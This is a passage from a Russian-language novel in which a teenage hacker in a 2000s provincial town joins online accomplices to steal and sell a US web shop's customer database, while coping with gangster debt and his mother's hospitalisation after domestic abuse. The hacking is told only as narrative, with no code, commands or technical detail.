сферы жизни здешних обывателей, от  школьной скамьи и  до седых волос,
этот неистребимый дух витал и  на детских площадках, и  в стенах казенных
учреждений, и  в пыльных цехах градообразующего комбикормового завода.
За без малого полтора десятилетия, прошедшие с момента крушения Союза,
местные жители успели насмотреться всякого: стрелок, рукотворных пожаров
и  разборок, наиболее отмороженных участников которых находили порой
в мутных водах Подгорки. Иногда по частям. В общем, бандиты воспринима‐
лись как  повседневная деталь местного пейзажа, как  привычное природное
явление, вроде постоянно действующего вулкана  — кажется, и  опасно жить
бок о  бок с  ползущими по  склонам раскаленными потоками лавы, но  и
деваться‑то особо некуда. С  другой стороны, эти ребята могли доставить
крупные неприятности, если не ему самому, так матери, — поэтому Кириллу
хотелось отыскать хоть какое‑то решение возникшей проблемы. Он потянул‐
ся к клавиатуре и набрал в окошке «аськи»:

«Так что делать‑то? Санчо сказал, ты можешь помочь».
ICQ на  какое‑то время замерла в  задумчивости, а  затем в  трее с  харак‐

терным «а‑ау!» замигал желтый конвертик:
«Могу, есть варианты. Но, как  говорится, ты мне  — я тебе. От  вас тоже

кой‑какая помощь понадобится».
Прочитав сообщение, Кирилл ощутил легкий холодок, пробежавший

по  спине: идеи Фреша обычно отдавали крепким криминальным душком.
Только есть ли у него выбор?

«Чего хоть делать‑то?» — напечатал на клавиатуре он.
«Да вот хочу базу одного американского шопа сдампить,  — мигнула

в ответ «аська», — сам не справлюсь. Не ссы, Кикс, баблом не обижу».
А ведь это  был уже следующий уровень в  игре, которую, судя по  всему,

затеял Fressshhh, назвавший Кирилла его сетевым именем  — Kicks. Слить
базу данных интернет‑магазина вместе с личной информацией клиентов куда
сложнее, нежели соорудить поддельный сайт, чем промышлял до недавнего
времени Киря. Это самое настоящее мастерство. То, чем занимаются все эти
серьезные парни, которых благоговейно называют хакерами.

Естественно, Кикс не обладал нужными для подобной работы навыками и,
конечно же, не собирался признаваться в этом Фрешу. Время для изучения
матчасти у него в запасе есть, а новые полезные знания — это всегда инте‐
ресно, в  отличие от  унылых и  бесполезных, которыми их пичкали в  школе.
К  тому же пора прикупить какой‑никакой ноутбук, чтобы работать на  нем
где‑то за  пределами Саниного дома, в  котором Кирилл уже практически
поселился, вызывая тихое недовольство Сашкиных родителей. Да хоть у себя
в комнате его прятать под матрасом. Только вот более‑менее приличный ноут
стоит баксов восемьсот, а то и всю тысячу, в канаве такую сумму не найдешь.
Эх, если бы удалось отмазаться от бандитов…

Киря принялся штудировать сетевые форумы, а  заодно подтягивать
английский. В  англоязычном интернете отыскалось очень много полезной
информации, к тому же там она почему‑то оказалась более полной, в то вре‐
мя как переводы порой страдали досадными неточностями. В школе Кирилл
английский ненавидел, зубрежку всех этих «паст симпл» и «презент континь‐
юес» считал напрасной тратой времени, а с «англичанкой» Эльвирой Никола‐
евной оставался на ножах чуть ли не с пятого класса. Сейчас английский язык
сделался для  него жизненно необходимым, и  он остервенело принялся
читать статьи с иностранных сайтов, прогоняя их через переводчик «ПроМТ»,
а  потом задавал вопросы обитателям тамошних форумов, ругая себя за  то,
что не уделял этому время раньше.

Когда одна армия решает напасть на  другую, боевые действия всегда
начинаются с разведки. В сети — все то же самое. Потоки данных — невиди‐
мые артерии глобальной сети, в  которых пульсирует и  течет жизнь, прев‐
ращая весь земной шар в  единое пространство, где города, дома и  люди
крепко связаны незримыми нитями. Кирилл представлял себе эти потоки
как  реки и  моря, по  которым течет информация, преодолевая границы сер‐
веров и  компьютеров, словно древние караваны кораблей, пересекающие
бескрайний океан. Разные корабли возят разные грузы, и плывут они обычно
своими собственными маршрутами  — так и  для транспортировки данных
использовались разные протоколы. По берегам океана встречались богатые
и  полные сокровищ серверы‑города, к  которым вели морские порты. Но  не
все порты рады каждому встречному кораблю: за ними спрятаны программы,
наученные открывать ворота, следуя четким правилам и соглашениям, подоб‐
но тому как  придворные слуги отворяют двери только по  особым знакам.
Правда, слуги, бывает, спят на посту или слишком увлечены игрой в кости —
так и  программы, написанные людьми, не  застрахованы от  ошибок. Очень
часто администраторы северов попросту забывали вовремя обновлять
работающие на  них программы, чтобы устранить давно известные ошибки.
Сможет ли стражник защитить вверенные ему крепостные ворота от  лазут‐
чика, если ему не  объяснили, как  этого лазутчика распознать? Кирилл знал:
стоит лишь отыскать такую уязвимость, и в твоих руках окажется ключ от всех
сокровищ скрытого за воротами города.

В мире, где за потемневшим окном падал первый в этом году снег, пальцы
Кирилла неторопливо перебирали клавиатуру, но  в мире нулей и  единиц он
двигался куда быстрее, следуя за  тенями, мелькающими на  периферии его
сознания. Он запустил сетевой сканер, как охотник запускает в небо обучен‐
ного сокола. Бездушный взгляд сканера проникал туда, куда не  может
дотянуться человеческое зрение, программа тасовала IP-адреса, порты
и службы, как опытный фокусник колоду карт. Каждая незапертая дверь, каж‐
дый ненадежный сервис  — это  трещина в  стене крепости. Если знать, где
ковырнуть кладку, стена рухнет, образуя проход. Кирилл чувствовал себя
боевым магом, окидывающим взглядом поле брани перед штурмом вражес‐
кой цитадели, — в его руках имелся целый арсенал мощнейших заклинаний,
под ударами которых не выдержит ни одна крепость. Хорошо быть настоящим
волшебником в эпоху технического прогресса, да еще и способным творить
магию не в компьютерной игре, а в самой настоящей реальности. Особенно
если люди вокруг тебя больше не верят в волшебство.

Сканирование завершилось, и  Киря, оглядев экран, с  удовольствием
отметил про себя, что проведенные за чтением руководств и инструкций бес‐
сонные ночи не  прошли даром: теперь он может видеть и  понимать то, что
неподвластно другим. Веб‑сервер Apache, за ним скрытый SSH-доступ, карта
портов  — как  на ладони. Тем временем Санчо набросал схему внутренней
структуры сервера, отыскав несколько служебных поддоменов, подобных
запасным выходам в  неприступном замке, которыми пользуется для  своих
нужд местная прислуга и челядь. Все ли эти неприметные двери надежно зак‐
рыты на засов?

— Кажись, есть несколько точек входа,  — сказал другу Киря, отодвинув
клавиатуру в сторону.

— Вот и  славно. Но  пробивом пускай Фреш занимается, у  него опыта
больше, — отозвался тот.

Действительно: таранить даже плохо закрытые ворота крепости следует
специальным инструментом, с которым нужно уметь правильно обращаться.
Кирилл был уверен, что со  временем научится этому и  сам. Обязательно
научится.

— Только есть один моментик,  — задумчиво почесал подбородок Сан‐
чо, — подмести за собой потом надо.

А вот это действительно проблема. Любой сервер автоматически записы‐
вает в  специальные журналы все, что происходит как  снаружи, так и  внутри
него, а потом, изучив эти файлы, эксперты смогут восстановить хронологию
событий. Ни Кирилл, ни Саня чистить такие лог‑файлы не умели.

Фреш, на удивление, отнесся к проблеме со всей серьезностью.
«Есть один крутой специалист по  логам, поможет замести следы»,  —

написал он.
«Как связаться?» — отстрочил на клавиатуре Кирилл.
«Я передам, она вам сама в «аську» стукнется».
«Она?»
«Да. Ее зовут Trixy».
Девчонки в  сети не  то чтобы считались редкостью  — редкостью были

девушки, не просто что‑то понимающие в компах, а еще и шарящие в хакер‐
ском ремесле. Кажется, этот ник все‑таки встречался Кире на  нескольких
посвященных взлому форумах, и  вроде  бы кто‑то даже в  шутку писал, будто
Trixy никогда не оставляет следов.

Трикси, как и обещал Фреш, объявилась в тот же вечер: «аська» мигнула
желтым значком, издав звук, похожий на стук в дверь, — так мессенджер опо‐
вещал о сообщении от незнакомого пользователя.

— Все, братан, она здесь, — наклоняясь к экрану, шепотом сказал Сане
Кирилл, будто боялся, что девушка может услышать их через интернет.

«Привет. Fressshhh маякнул, вы что‑то серьезное затеяли ,)», — высветил‐
ся в окошке текст с подмигивающим смайликом.

«Привет. Да, есть одна задачка. Нам  бы разобраться... со  следами»,  —
пальцы Кирилла забегали по клавишам.

«Поняла. Какие логи?»
«Системные и  доступа. Там обычный «Апач», движок на  PHP. Все должно

исчезнуть, будто нас и не было».
«Ну, звучит весело. Могу помочь», — откликнулась Трикси.
— Спроси, что она хочет в качестве оплаты, — Санчо слегка толкнул друга

локтем в бок.
Киря вздохнул и снова посмотрел на экран.
«Что тебе нужно взамен?»
Пауза длилась чуть дольше, чем раньше. Наконец ответ появился на экра‐

не:
«Просто не облажайтесь. Иначе вас вычистят не только из логов».
Отправив это сообщение, Трикси вышла из сети: цветочек, обозначавший

ее учетную запись, сделался красным. Никаких прощальных фраз. В комнате
снова воцарилась тишина, нарушаемая лишь тихим гудением компьютера.
Кирилл откинулся на спинку кресла, закрыл глаза и почувствовал, как по спи‐
не пробежал холодок. Ее слова казались шуткой, но нечто скрытое в них все
же заставило Кирю усомниться, что это просто игра. Он покосился на Санчо,
который сидел с невозмутимым лицом, постукивая пальцами по столу.

— Ты что думаешь? Реально она поможет?
Саня пожал плечами, продолжая смотреть куда‑то перед собой.
— Кто она вообще такая? — Он повернулся к другу и усмехнулся. — Спо‐

рим, это какой‑нибудь толстый старый мужик, сидящий в засраной квартире
где‑нибудь на окраине Москвы, который жрет пиццу и прикалывается над тем,
как мы тут всё это воспринимаем всерьез?

Киря рассмеялся, хотя что‑то в  словах Сани задело его. Он повернулся
на стуле, изображая «того самого мужика»:

— О, привет, пацаны! Я тут почищу вам логи, только не облажайтесь! — Он
нарочито понизил голос, изображая карикатурного хакера, ссутулившегося
за клавиатурой с куском пиццы в руке.

Они оба расхохотались, разрядив напряжение. Но смех был коротким.
— Ладно тебе,  — наконец сказал Кирилл, протерев глаза.  — Все равно,

даже если это действительно какой‑нибудь толстый старый хрен, нам пофиг.
Главное, чтобы свою работу сделал до конца.

— Ну да,  — Саня прищурился, глядя на  монитор,  — я все же думаю, что
настоящая девушка‑хакер — это что‑то из разряда мифов. Знаешь, как еди‐
нороги или  нормальные системы защиты. Все об  этом говорят, но  никто
никогда не видел.

— Может, мы и станем первыми, — улыбнулся Кирилл. — Хотя, если это и
правда какой‑нибудь мужик, лучше его все‑таки не видеть.

Что ж, пока все складывалось как нельзя более удачно: разведка прошла
успешно, Фреш разберется с  самим взломом и  сливом базы, а  Трикси
поможет замести следы. Тогда, наверное, дела наладятся. Киря решит проб‐
лемы с  бандитами, с  чем клятвенно обещал каким‑то непонятным образом
посодействовать тот же Фреш, купит себе ноутбук и  сможет наконец чаще
появляться дома… Он подумал, что последний раз был там недели две назад.
Нет, может быть, даже три. Или  уже месяц? Время склеивалось в  какую‑то
липкую ленту Мебиуса, где каждая минута превращалась в час, а сутки исче‐
зали в тусклом мерцании экрана.

Кирилл покосился на  свой «Эрикссон», лежащий на  столе. Мать знала
номер его нового мобильного и звонила примерно в одно и то же время —
вечером, когда отчим уже напивался. Разговор почти всегда строился оди‐
наково, как  в фильме «День сурка». Сначала знакомое, уставшее «Привет,
сынок», а потом вопрос, который вколачивался в его мозг молоточком вины:
«Когда ты зайдешь? Я скучаю». Но  за этими простыми словами скрывалось
что‑то большее. Мать, как  всегда, избегала прямых разговоров о  том, что
творилось у них дома, но Кирилл знал: ее жизнь с отчимом — это несконча‐
емая борьба за иллюзию семьи, которой никогда не существовало. Вот толь‐
ко сегодня звонок в привычное время не раздался, наверное, дома готовится
ужин или стирка в самом разгаре — не до того.

Кирилл выдохнул, потер лицо руками, словно пытаясь смахнуть с  себя
мысли о  прошлом. Но  образы все равно приходили  — вспомнились бес‐
сонные ночи, когда он слышал, как за стеной что‑то разбивалось, как в кухне
падала посуда, а мать, тихо плача, собирала осколки. Именно тогда он начал
кодить, убегая на ту сторону экрана, в мир, где нет боли и слез. И чем глубже
погружался в этот цифровой лабиринт, тем дальше оказывался от реальнос‐
ти.

Но это  было иллюзией. Реальность всегда пряталась рядом, точно
невидимый монстр под  его детской кроватью. Она дышала за  спиной, шеп‐
тала в ухо, что он не сможет убегать от нее вечно. Вот прямо сейчас реаль‐
ность ворвалась в  его мысли жужжанием и  мелодичным писком телефона,
забившегося в конвульсиях на столе.

Киря протянул руку. Номер не определился — так всегда было, когда зво‐
нили с городского.

— Да? — приложил он трубку к уху.
— Алло, Кирюша? — голос в динамике показался ему и знакомым, и нез‐

накомым одновременно. — Кирюша, ты? Это тетя Таня, соседка. Мне Ирочка
твой номер на  всякий случай дала… Кирюша, у  нас тут беда… Ох, не  знаю,
как тебе и сказать…

Киря почувствовал, как внутри все оборвалось, словно его окатили из вед‐
ра ледяной водой. Не  будет соседка звонить просто так, хотя тетю Таню он
знал с самого детства. Да что ж она тянет‑то?

— Что случилось? — дрогнувшим голосом спросил он.
— Ох, Кирюша… Мама в больнице. Юра сегодня пьяный пришел, они пос‐

сорились, и он… он ее избил. Сильно. Я прибежала на шум, вызвала скорую…
— Когда? Куда? Где?
Сердце бешено молотится в груди, готовясь выпрыгнуть наружу.
— В Воскресенскую увезли. Говорят, в реанимацию…
В висках застучало, мир стал тусклым и чужим, как будто кто‑то резко выр‐

вал из‑под ног опору. Голос соседки продолжал что‑то говорить, но  он уже
не  слушал. Кирилл сжал телефон так, что побелели костяшки пальцев.
Перед глазами всплыли картины: мать, лежащая на полу, кровь, его отчим —
огромная, пьяная тень с перекошенным от злобы лицом.

В груди закипала темная, тяжелая волна — отчаяние и ненависть. Внутри
что‑то с  хрустом ломалось, расползаясь в  холодную, неконтролируемую
ярость.

— Кирилл? Ты меня слышишь?
Голос тети Тани вернул его в реальность.
— Да, — хрипло ответил он. — Спасибо, что позвонили.
Палец сам нажал «отбой». Кирилл механически положил телефон на стол,

затем сунул в карман, снова достал, посмотрел на часы. Половина девятого
вечера. До  скольки работает больница? Пустят ли его туда? Наверное,
понадобится паспорт, он вроде  бы лежит в  кармане куртки. Мысли рвались
в разные стороны, искрили, как оголенные провода. В голове звучало только
одно: «Найду этого подонка... Найду и прикончу».
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Поздний вечер засыпал город липким мокрым снегом. Белые хлопья, то
застывая в  воздухе, то мелькая в  свете проезжающих навстречу машин,
падали на  землю и  таяли, превращаясь в  стылую жижу. Больница была уже
близко — размытое светлое пятно на фоне пустого бульвара, где, казалось,
одновременно выключили и  уличные фонари, и  тепло. Серые коробки пяти‐
этажек справа и слева тоже тонули во мраке, не светилось ни единого окна,
словно с ними что‑то случилось, — дома перестали замечать людей, как буд‐
то забыли, для чего были построены. Кирилл замерз: хорошо бы раздобыть
куртку потеплее, только вот вся его одежда осталась дома.

Дверь притулившегося к забору домика‑проходной была заперта, поэтому
Кирилл просто поднырнул под шлагбаум, через который на территорию заез‐
жали автомобили скорой помощи. Здесь было еще темнее, территория боль‐
ницы казалась сырой и  неприветливой, точно старое заброшенное клад‐
бище. Ноги в кроссовках окончательно промокли и заледенели. Следуя ука‐
зателю «Приемный покой», Киря прошел по  усаженной тополями аллее
и свернул к приземистой кирпичной пристройке, возле которой одиноко мерз
белый фургон с красной полосой. Толкнул тяжелую дверь, шагнул в неболь‐
шой холл с лавочками по стенам. За похожим на аквариум стеклом, как сон‐
ные рыбы, вяло шевелились две женщины среднего возраста в белых халатах.

— Вы куда, молодой человек?  — окликнул Кирю сидевший у  входа пожилой
охранник в мешковатой черной форме.

— Понимаете, у меня сюда маму привезли… — шмыгнув носом, начал он,
но охранник грубо прервал его объяснения, ткнув пальцем в прикрепленную
у входа бумажку:

— В будние дни с девяти до семнадцати вот по этому телефону справоч‐
ной. Здесь вашей мамы нет, здесь пациентов принимают.

— Да мне хотя бы узнать, где она…
Видимо, замерзший и  усталый Кирилл имел настолько жалкий и  несчас‐

тный вид, что охранник, смягчившись, кивнул в сторону «стекляшки»:
— Вон там спроси.
Благодарно кивнув в  ответ, Киря прошагал в  указанном направлении

и  повторил свой вопрос немолодой женщине в  очках, старательно запол‐
нявшей какие‑то медицинские бланки.

— Давно привезли? — спросила она.
— Да вот сегодня, может, пару часов назад.
— Как фамилия?
— Морозова.
Дама заглянула в разложенный на столе журнал, потыкала наманикюрен‐

ными пальчиками в клавиатуру компьютера.
— Ирина Михайловна? Вы кем ей приходитесь?
— Сыном.
— Вторая реанимация. Состояние стабильно тяжелое. Все остальное зав‐

тра по телефону справочной.
Ну хорошо хоть жива. У Кирилла чуть отлегло от сердца: подсознательно

он с ужасом ожидал худшего.
— А когда можно ее навестить?
— Молодой человек, в интенсивную терапию никого не пускают, — строго

посмотрела на  него дама поверх очков,  — но  вы можете прийти на  беседу
с  дежурным врачом завтра после четырех. Паспорт с  собой возьмите
и бахилы.

Кириллу повезло: он успел заскочить в  уже отъезжающую маршрутку, опус‐
тился на жалобно скрипнувшее пластиком сиденье и хоть немного согрелся.
Вышел он, попросив водителя остановить дребезжащую «Газель» примерно
за километр от дома. Пьяный отчим вполне мог заснуть где‑нибудь на кухне,
а мог и бодрствовать, тогда Кире не помешало бы какое‑нибудь оружие: нож
или, на  худой конец, обрезок металлической трубы. Справиться с  этим
кабаном голыми руками он не  рассчитывал. Как  назло, ни  по обочинам,
ни возле старых гаражей не нашлось ничего подходящего, он поискал даже
на пустыре возле детской площадки, вспугнув какую‑то девчонку, выгуливав‐
шую дворнягу. Да  и не  найдешь ничего впотьмах под  мокрым снегом.
Мимоходом Кирилл вспомнил, что на полочках меж двух входных дверей, где
мать годами хранила старую обувь и прочий ненужный хлам, спрятан завер‐
нутый в газету тупой топор. То, что надо: при необходимости отобьемся.

Решительно открыв ключом дверь, Кирилл понял, что топор сегодня
не  понадобится: отчима дома не  оказалось. Впрочем, кроме него, не  было
еще  и телевизора, посуды в  кухонном буфете, старого двухкассетного маг‐
нитофона, купленного когда‑то еще  отцом, и  почти всех вещей в  платяном
шкафу. Свалил, подонок, вычистив напоследок квартиру. А вот Кирина зимняя
куртка и ботинки на молнии остались на своих местах — видно, отчим не пос‐
читал их великой ценностью. Надо  бы сменить замки… Впрочем, захочет  —
выломает дверь, замки для него не преграда. В том, что отчим рано или поз‐
дно явится обратно, Кирилл ничуть не сомневался: идти тому некуда. После
непродолжительной отсидки за причинение кому‑то тяжких телесных в пьяной
драке отчим продал свою комнату, клятвенно пообещав маме, что на  эти
деньги они сделают шикарный ремонт в квартире и заживут счастливой семь‐
ей… Никакого ремонта, конечно, никто не  увидел: деньги оказались быстро
пропиты и спущены на мутные «темы» и «схемы», после чего отчим засел в их
жилище, как полноправный хозяин.

К счастью, ни ожидаемого разгрома, ни пятен крови на полу и стенах тоже
не  обнаружилось. Дом просто дышал пустотой, словно хозяева внезапно
съехали, оставив квартиру до  лучших времен. Теперь тут все казалось нез‐
накомым и  совершенно чужим. Заперев входную дверь изнутри на  засов,
Кирилл впервые за много дней нормально помылся, приготовил себе яичницу
из  завалявшихся в  пустом холодильнике яиц, сунул одежду в  стиралку
и завалился спать — назавтра его ждал тяжелый день.

* * *

В Подгорске  — пасмурное серое утро, а  за океаном  — уже вечер, который
скоро перейдет в  ночь. Самое время для  темных дел. Пальцы Кирилла дви‐
гались по клавиатуре с хищной осторожностью кошки, готовящейся к прыжку.
На экране — черное окно терминала, в соседнем окошке — приватный канал
IRC-чата, где собрались Фреш и  Трикси. Санчо напряженно дышит в  ухо,
работа кипит. Собранной Кириллом и  Саней информации хватило, чтобы
Фреш нашел лазейку в скриптах интернет‑магазина и смог войти в админис‐
тративную панель.

«Заюзал сплойт, — написал он в «ирке», — к phpMyAdmin доступа нет, но в
админке, кажись, есть интерфейс к базе».

Что ж, дело за  малым: слить дамп, то есть образ базы данных сайта,
а потом продать его на хорошо знакомом им форуме. Покупатели пройдутся
по  базе специальным парсером, вычленят оттуда логины, пароли, адреса
электронной почты, возможно даже — данные банковских карт. Но даже если
таковых в  базе не  окажется, улов все равно выйдет богатым: многие юзеры
используют один и тот же пароль на разных сайтах, и, зная их имена, адреса
email и прочие сведения, хакеры могут порезвиться от души. Денег на счетах
после этого взлома у кого‑то определенно поубавится.

«Есть контакт, — появилось в чате очередное сообщение от Fressshhh. —
Готово. Kicks, я щас скину креды, зайди в  админку и  сохрани дамп себе
на всякий пожарный».

Разумная предосторожность: если с  компом Фреша что‑то случится,
копия ценной базы останется на машине Кирилла.

«Сделаю», — отстучал в чате тот.
Фреш сбросил данные для входа, и Кирилл тут же вбил их в форму авто‐

ризации. Сайт покорно впустил его в святая святых, туда, куда заходить могли
только админы и владельцы магазина. Так, где тут раздел с доступом к базе
данных? Ага, вот, кажется, он…

В этот самый миг картинка изменилась: административная панель вдруг
куда‑то исчезла, и Кирилла перебросило на страницу с ошибкой. Сменив IP-
адрес, он попытался залогиниться снова, но  сервер не  пустил его, нас‐
мешливо сообщив об отказе в доступе.

«Сессия внезапно закрылась!  — стараясь унять зачастивший пульс,
написал он. — Не понимаю, что происходит».

«Такая же фигня, — откликнулся Fressshhh. — Меня выкинуло».
«Расслабьтесь, парни,  — а  это уже Trixy.  — Fressshhh, у  тебя куки сох‐

ранились? С какого айпишника заходил?»
То ли скрипты на  сайте оказались чуть умнее, чем парням казалось

поначалу, то ли кому‑то из  админов не  спалось, но  их, похоже, все‑таки
засекли. Если сейчас Трикси не  уничтожит следы вторжения, последствия
могут оказаться очень неприятными… Минута тянется за минутой, Санчо нап‐
ряженно меряет шагами комнату, Кирилл слышит, как  гудят вентиляторы
в  недрах системника и  звенит комар под  потолком. Наконец в  притихшем
чате появилось новое сообщение от Trixy:

«Всё норм, ребята, логи зачистила. Чекайте».
И еще через пару минут от Фреша:
«Да, порядок, все четко. Trixy, ты, как всегда, супер».
— Блин, по ходу, Трикси затащила! — восторженно выдохнул Санчо.
— Скорее, вытащила, — поправил его Кирилл и, потянувшись к клавиату‐

ре, набрал в чате:
«Trixy, ты гений! Круто сработала. Fressshhh, наши договоренности

в силе?»
«Да, закину денег, как базу продам».
«Ты обещал кое‑что еще».
«Я помню».
Что ж, если он и вправду сможет как‑то повлиять на ситуацию с повешен‐

ным на них долгом, это будет самым настоящим чудом, похлеще того, что сот‐
ворила сейчас Трикси. Тем более срок, отведенный Кире и Сане бандитами,
истекал меньше чем через сутки.

— Я пойду, — сказал Кирилл, поднимаясь с кресла. — Завтра в три возле
школы, не забудь!

— Ты куда? Может, отметим это  дело?  — попытался остановить друга
Санчо.

— Не сегодня, Сань, извини. У меня дела.

Доктор, молодой, но уже лысеющий и какой‑то усталый, разглядывал драный
больничный линолеум. Кирилл жадно ловил каждое его слово:

— Зэ че эм тэ, сотрясение мозга, перелом нижней стенки орбиты глаза,
перелом ребра, ушибы внутренних органов, гематомы мягких тканей… Сос‐
тояние стабильное, на днях переведем в травматологию.

— С ней все будет в порядке?
— Угрозы жизни нет, об остальном вам лечащий врач на отделении рас‐

скажет.
— Может, что‑нибудь привезти?  — осторожно поинтересовался

Кирилл. — Ну там… лекарства какие‑нибудь?
— У нас тут всё есть, — покачал головой врач, — а в травме вам лечение

назначат и скажут, что нужно. Катетеры внутривенные, наверное, понадобят‐
ся, лучше зеленые возьмите, у нас серые, там игла толще. Туалетную бумагу
привезите, салфетки. В  общем, со  всеми вопросами к  ним, мы передачи
от родственников не принимаем.

Киря вышел из больницы в чуть более приподнятом настроении, чем вче‐
ра. Мама поправится, это  главное. А  он постарается сделать все от  него
зависящее, чтобы ничего подобного больше не повторилось.

На историческое рандеву идти все же пришлось одному: явившийся в  наз‐
наченный час Саня слегка отметил их недавний успех и пребывал в блажен‐
но‑расслабленном состоянии, сопровождавшемся повышенной болтли‐
востью. Вообще, алкоголь действовал на  него своеобразно  — у  обычно
сдержанного и рассудительного Санчо как будто напрочь отключались внут‐
ренние тормоза, и он превращался в развязное трепло, готовое молоть все
подряд, не  задумываясь о  последствиях. Ляпнет еще  что‑нибудь не  то,
а  потом их обоих подтянут за  базар. Потому Киря, подумав, отправил Саню
домой отсыпаться и двинулся на встречу без сопровождения.

Стрелка была забита в одном из типичных бандитских заведений на окра‐
ине города — здесь, помимо обязательного бара, имелся повидавший жизнь
бильярдный стол, а  в отдельном зале переливались огнями несколько
обшарпанных игровых автоматов. В  остальном  — разливуха разливухой.
Кирилл обвел взглядом полуподвальное помещение и  обнаружил за  одним
из стоящих в нише столиков уже знакомого ему качка в кожанке и с золотой
цепью на шее. Тот махнул рукой: проходи, мол, садись.

— Водку будешь? — спросил обладатель кожанки, когда Киря подошел к его
столу.

Кирилл покачал головой: в  других обстоятельствах он, может, с  удоволь‐
ствием снял  бы стресс, но  сейчас хотелось иметь свежую голову. Одному,
без поддержки, идти сюда было страшновато, но деваться все равно некуда.
Назначенной суммы у Кирилла с собой, конечно же, не было, да и комп уехал
на  дачу к  Саниным родителям  — впрочем, отдавать его Киря не  собирался
в любом случае.

Качок закурил, небрежно бросил зажигалку на  стол. Кирилл присел нап‐
ротив, сцепил пальцы в замке, стараясь не выдавать дрожь в коленях.

— Ну чё, принес бабло?  — бандит заговорил не  сразу, смакуя паузу,
как сигаретный дым.

Киря нервно сглотнул: надо что‑то отвечать, вот только что? Молчать  —
не вариант.

— Мы это… Кажется, недопоняли друг друга. Комп, он ведь... ну, он у нас
не просто так оказался. Он с самого начала был мой, личный, а ваши парни
его за чужой долг забрали.

— Недопоняли…  — протянул бандит и  выдохнул дым от  сигареты прямо
в лицо Кириллу. — Ты думаешь, я забываю, кто у меня чё подрезал? Это ты
в своих интернетах живешь, а я — по‑настоящему.

Кикс сглотнул еще раз. Он догадывался, что разговор пойдет не по плану,
но не хотел показать окутавший его страх — не здесь и не сейчас. Потому он
сжал зубы, стараясь сохранить над собой контроль. Мысли носились по кругу,
как  сбойный алгоритм, зависший в  бесконечном цикле: а  что, если ничего
не получилось? Что, если Фреш не сумел договориться? Или, может, вообще
даже не  пытался? Сейчас те слова казались пустыми обещаниями. «Если
ничего не  вышло… Если он опять потребует деньги… Что я могу ему пред‐
ложить? У меня же ничего нет», — лихорадочно думал Кирилл.

— Мои друзья… — начал он.
— Твои, мля, друзья с Батоном перетерли, обнулили тему, — прервал его

бандит, и  у Кири слегка отлегло от  сердца.  — Так что с  тебя спроса нет,
можешь корешам передать, чтоб не бакланили, что Коля Старый щемит шко‐
лоту по беспределу.

Он докурил и затушил окурок в пепельнице.
— Но ты пойми одну вещь, малой, — лениво сказал Старый, — ну, сегодня

ты соскочил. Ты щас встанешь и  пойдешь домой, думая, что жизнь налади‐
лась, так?

Он пристально посмотрел на  Кирю, потянулся к  стоящему на  столе гра‐
неному стакану, на дне которого плескалась водка, повертел его между паль‐
цами и поставил обратно, не выпив ни капли.

— Только однажды эти ваши заморочки приведут к  тому, что мне снова
придется напомнить, кто ты есть. А  ты  — никто. Поэтому в  следующий раз,
как  клюв откроешь не  туда, я тебя сам закопаю. И  ты никогда не  узнаешь,
в каком лесу и под какой елкой. Усек?

Кирилл молча кивнул.
— Вот и вали отсюда нах.
Просить дважды не  пришлось: Киря поднялся на  ноги, прошел к  выходу,

ощущая направленный ему в  спину пристальный взгляд, и  толкнул тяжелую
дверь. В лицо ударил морозный вечерний ветер. Холод пробрался под куртку,
но этот холод был каким‑то успокаивающим — реальным, настоящим, почти
родным. Теперь, когда опасность миновала, напряжение, сковывавшее его
весь вечер, начало медленно отступать. Кикс выдохнул, почти с облегчением
улыбнувшись своему отражению в  тонированном стекле дверей. Сердце
больше не стучало как сумасшедшее, и мысли не метались по кругу, доводя
его до паники.

Он зябко поежился, натянул капюшон на  голову, засунул руки в  карманы
и  пошел вдоль пустой улицы, не  торопясь. Небо над  головой затянули кос‐
матые тучи, единственный свет исходил от уличных фонарей, которые отбра‐
сывали длинные, резкие тени. Город жил своей вечерней жизнью — вдалеке
гудели машины, где‑то раздавались голоса и смех, но вокруг него было пус‐
то.

Кажется, все обошлось. Кирилл не знал точно, за какие невидимые рычаги
дернул Фреш, но  это сработало. Сердце все еще  стучало быстрее, чем
хотелось бы, но  с каждым шагом оно возвращалось к  привычному ритму.
Облегчение накатывало волнами  — одна за  другой. Еще  несколько минут
назад он сидел напротив человека, который легко мог вычеркнуть его
из  реальности, если  бы захотел. А  теперь  — свободен. Никаких долгов,
никаких обязательств. По крайней мере — на этот вечер.

Кирилл остановился у  фонаря, глубоко вздохнул, глядя, как  изо рта
вырывается облачко пара. Учитывая то, чем он теперь занимается, эта встре‐
ча может стать далеко не последней. И не исключено, что в следующий раз
цена окажется выше, чем он готов заплатить.

Киря сжал кулаки, чувствуя, как  холод обжигает пальцы. Не  стоит думать
об этом сейчас. Сегодня удача была на его стороне, жаль только, что удача —
штука непостоянная. Она может отвернуться в  любой момент, без  предуп‐
реждения. Сегодняшняя встреча — не победа, это, скорее, ничья. Коля Ста‐
рый вряд ли забудет про украденный комп, прошлое нельзя стереть, как стро‐
ку кода. Представится удобный случай  — припомнит всё. Но  что теперь?
Остановиться? Вернуться к  спокойной жизни? Это  был  бы идеальный вари‐
ант, но Кирилл уже знал, что не сможет. Нельзя просто взять и выйти из игры.

Зато можно попытаться перейти на следующий уровень.
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Отшумела дождями осень, отсвистела петардами новогодняя суета.
Выписавшаяся из больницы мама понемногу шла на поправку, но на восста‐
новление ее здоровья улетела немалая доля заработанного ранее. Хорошо
хоть нашлись знакомые врачи, согласившиеся помочь с  обследованиями
и  реабилитацией,  — будучи медсестрой, мать смогла задействовать
кое‑какие полезные связи. Остальное ушло на  установку прочной железной
двери, поэтому покупку ноутбука пришлось все‑таки отложить на  неоп‐
ределенный срок. Отчим пару раз заявлялся домой, ломился в  квартиру,
упрашивал и угрожал. Вот тут‑то новая дверь пришлась как нельзя кстати: ему
не  открыли, а  привлеченная шумом соседка тетя Таня вызвала милицию,
и  аккурат на  новогодних каникулах отчим куда‑то в  очередной раз пропал.
Киря подозревал, что явление это  временное и  в один не  слишком прек‐
расный день он вернется снова.

С некоторым трудом Кирилл сумел выцарапать назад свой компьютер,
на который папаша Санчо, видимо, уже положил глаз, — ни в какую не желал
ехать за  ним на  дачу, всякий раз отыскивая для  этого тысячи отговорок: то
неисправна машина, то дорогу замело снегом, то не сезон. Только пообещав
смотаться за компом лично и в самом крайнем случае обойтись без ключей
от садового домика, Киря сумел переломить ситуацию, окончательно, впро‐
чем, испортив отношения с семьей своего друга. Да и с самим Саней пооб‐
щаться удавалось все реже и реже. Начав зарабатывать кардерским промыс‐
лом, тот не вылезал теперь из «Фантома» и «Корсара», зависая в клубах прак‐
тически каждый вечер. После подобных развлечений степень адекватности
